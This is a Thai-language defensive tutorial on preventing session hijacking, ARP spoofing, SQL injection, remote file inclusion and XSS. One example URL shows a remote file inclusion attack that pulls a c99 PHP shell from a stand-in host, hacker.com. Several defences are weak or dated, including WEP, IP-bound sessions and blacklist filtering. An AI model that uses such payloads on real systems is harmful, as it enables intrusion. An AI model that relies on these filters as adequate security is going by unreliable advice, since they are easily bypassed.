การป้องกัน Session Hijacking
ในวิธีการที่แฮกเกอร์ใช้โจมตีนั้นหลักการหลักๆ คือ การใช้เทคนิค ARP Spoof เพื่อให้ข้อมูลของเหยื่อวิ่งผ่านเครื่องของแฮกเกอร์ และใช้โปรแกรมประเภท Sniffer ดักจับข้อมูล ดังนั้นการป้องกันจึงสามารถทำได้โดยวิธีการต่าง ๆ ดังนี้
ป้องกัน ARP Spoof
ป้องกันการดักจับข้อมูล
ป้องกันการนำ Cookie/Session ID ที่ดักจับได้ไปใช้งาน
การป้องกัน ARP Spoof และป้องกันการดักจับข้อมูล
การที่แฮกเกอร์จะดักจับข้อมูลบนเครือข่ายได้นั้น เขาจำเป็นที่จะต้องทำ ARP Spoof เราสามารถที่จะทำให้แฮกเกอร์ทำงานล้มเหลวได้โดยการกำหนด Static ARP บนเครื่องไคลเอน (ใช้โปรแกรม Anti-ARP มาช่วยได้) นอกจากนั้นเรายังสามารถตรวจสอบได้ว่าเครื่องใดกำลังทำ ARP Spoof อยู่ได้ โดยใช้โปรแกรม ARP Watch บน Linux
การกำหนดค่า Static ARP บนเครื่อง Windows 7 สามารถทำได้ดังนี้
1. เปิด Command Prompt โดยคลิ๊กที่เมนู Start--->Run แล้วพิมพ์ cmd.exe กด enter
2. ใช้คำสั่ง Command Prompt โดยใช้คำสั่ง Ping เว้นวรรคแล้วตามด้วย IP Address ของเครื่อง Gateway Router เพื่อให้ค่า MAC Address ของ Gateway อยู่บน ARP Table ของเครื่อง Client (แบบ Dynamic)
3. ใช้คำสั่ง arp-a เพื่อดูค่า MAC Address ของ Gateway พร้อมทั้งคัดลอกหมายเลข MAC Address เอาไว้
4. ใช้คำสั่ง arp -s เว้นวรรคแล้วตามด้วย IP Address ของ Gateway เว้นวรรคแล้วตามด้วย MAC Address ของ Gateway
การป้องกันการดักจับข้อมูลทำได้ค่อนข้างยาก เนื่องจากปัจจุบันมีโปรแกรมดักจับข้อมูลออกมาสู่ตลาดเป็นจำนวนมาก เช่น Wireshark, Sniffer Pro, Cain, Ferret และอื่นๆ อีกมากมาย โปรแกรม Anti-Sniff เป็นโปรแกรมที่ช่วยตรวจสอบว่าเครื่องใดกำลังรันโปรแกรมประเภทดักจับข้อมูลอยู่ โดยมันจะแจ้งเตือนเมื่อพบเครื่องใดที่ทำงานในโหมด Promiscuous ในระบบเครือข่ายขนาดเล็กผู้ดูแลระบบสามารถใช้โปรแกรมนี้สแกน เพื่อค้นหาผู้ที่กำลังดักจับข้อมูลคนอื่นได้ แต่ก็ถือว่าทำได้ลำบากสำหรับเครือข่ายขนาดใหญ่
การเข้ารหัสข้อมูล HTTP และ Session ID การเข้ารหัสข้อมูลเป็นอีกวิธีหนึ่งที่สามารถป้องกันการดักจับ Session ID ได้ไม่ว่าจะเป็นการเข้าถึงรหัสในระดับ LAN เช่น การใช้ VPN การเข้ารหัสข้อมูลที่วิ่งบน Wireless LAN โดยใช้ WEP, WPA และ WPA2 ก็ถือว่าข้อมูลมีความปลอดภัยในระดับหนึ่ง
การป้องกันการนำ Cookie/Session ID ที่แฮกเกอร์ขโมยมาไปใช้งาน โดยส่วนมากแฮกเกอร์ที่ได้ Session ID ของเหยื่อแล้วจะนำไปใช้ แฮกเกอร์จะใช้ IP Address ของตนเองแล้วเรียกไปยังเว็บไซต์ ดังนั้นถ้า Web Application ในฝั่งเซิร์ฟเวอร์ มีการตรวจสอบ IP Address ของผู้ส่ง Request ก็สามารถที่จะป้องกัน Session Hijacking ได้ นอกจากนี้การตรวจสอบ IP Address แล้วตั้งค่าให้ Session หมดอายุในเวลาที่จำกัด (เช่น Timeout =10 นาที) ก็จะทำให้แฺฮกเกอร์ทำงานลำบากขึ้น เช่น ไม่สามารถเอา Session ID ไปใช้ได้ทันเวลา
การป้องกัน SQL Injection
1. ป้องกันการป้อนอักขะพิเศษผ่านฟอร์มอินพุต เช่น ' ; - " | ^ % & @ ( )
2. จำกัดความยาวของฟิลด์อินพุต
3. ย้าย Script ป้องกันฝั่งไคลเอนต์ไปไว้ยังฝั่งเซฟเวอร์ สาเหตุที่ย้ายเพราะจะเป็นการป้องกันการอินพุตต่าง ๆ จากฝั่งไคลเอนต์ไปไว้ยังฝั่งเซฟเวอร์ก็เพื่อป้องกันไม่ให้แฮกเกอร์แก้ไขฟอร์ม
การป้องกันการแฮกด้วย File Inclusion
1. ป้องกันด้วยการใช้ตัวเลขแทนชื่อ ช่องโหว่ที่แท้จริงของเว็บไซต์ที่สามารถถูกโจมตีด้วยเทคนิค File Inclusion ก็คือ การเขียนโปรแกรมให้เรียกรวมไฟล์ที่สองเข้ามาเป็นส่วนหนึ่งของไฟล์แรก การป้องกันที่ดีที่สุ คือ การใช้พารามิเตอร์ที่เป็นตัวเลข ดังนี้
http://www.panda.co.th/main.php?page=15
โดยโปรแกรมจะต้องมีเงื่อนไขหรือฐานข้อมูลที่ Map ว่าหมายเลขใดคือไฟล์ใด ดังนั้นสามารถใช้ได้คือ ตัวเลขที่เราอนุญาตเท่านั้นซึ่งมีอยู่จำกัด ทำให้การเรียกรวมไฟล์เกิดขึ้นกับไฟล์ที่มีอยู่จำนวนจำกัดที่เราตั้งไว้ ดังนั้นแฮกเกอร์จึงไม่สามารถที่จะเรียกรวมไฟล์อื่นที่ไม่อยุ่ในลิสต์ได้ การเรียกรวมไฟล์ที่อยู่ในลิสต์ เช่น http://www.hacker.com/c99.php จะไม่สามารถทำได้
2. ป้องกันโดยการตรวจหาและแทนที่ http:// สำหรับกรณีที่เราพบว่าเว็บไซต์ของเรามีช่องโหว่ File Inclusion หลังจากที่ตรวจสอบโดยวิธีที่ได้นำเสนอในหัวข้อต้นๆ นั้น เรามีวิธีการป้องกันแบบชั่วคราวได้อย่างรวดเร็วเช่นกัน โดยใช้วิธีการตรวจสอบและกรองคำว่า http:// ซึ่งแฮกเกอร์จะใช้เพื่ออ้างอิงจะใช้เพื่ออ้างอิงไปยังเว็บไซต์ที่มี PHP Shell อยู่ ตัวอย่างเช่น เมื่อแฮกเกอร์โจมตีโดยเรียก ดังนี้
http://www.panda.co.th/main.php?page=http://www.hacker.com/c99.php
ถ้าเรามีการกรองเอา http:// ออกไปโดยเขียนโปรแกรมให้แทนที่ด้วย 1234567 จะทำให้ผลลัพธ์กลายเป็นดังนี้
http://www.panda.co.th/main.php?page=1234567 www.hacker.com/c99.php จะทำให้การโจมตีไม่ได้ผล
การป้องกันการโจมตีแบบ Cross site Scripting (XSS)
ป้องกันเครื่องหมาย (<) และเครื่องหมาย (>) โดยการปรับปรุงโปรแกรม Web Board โดยการป้องกันไม่มีการาส่งเครื่องหมาย (<) หรือ (>) ไปยังบราวเซอร์ฝั่งไคลเอนต์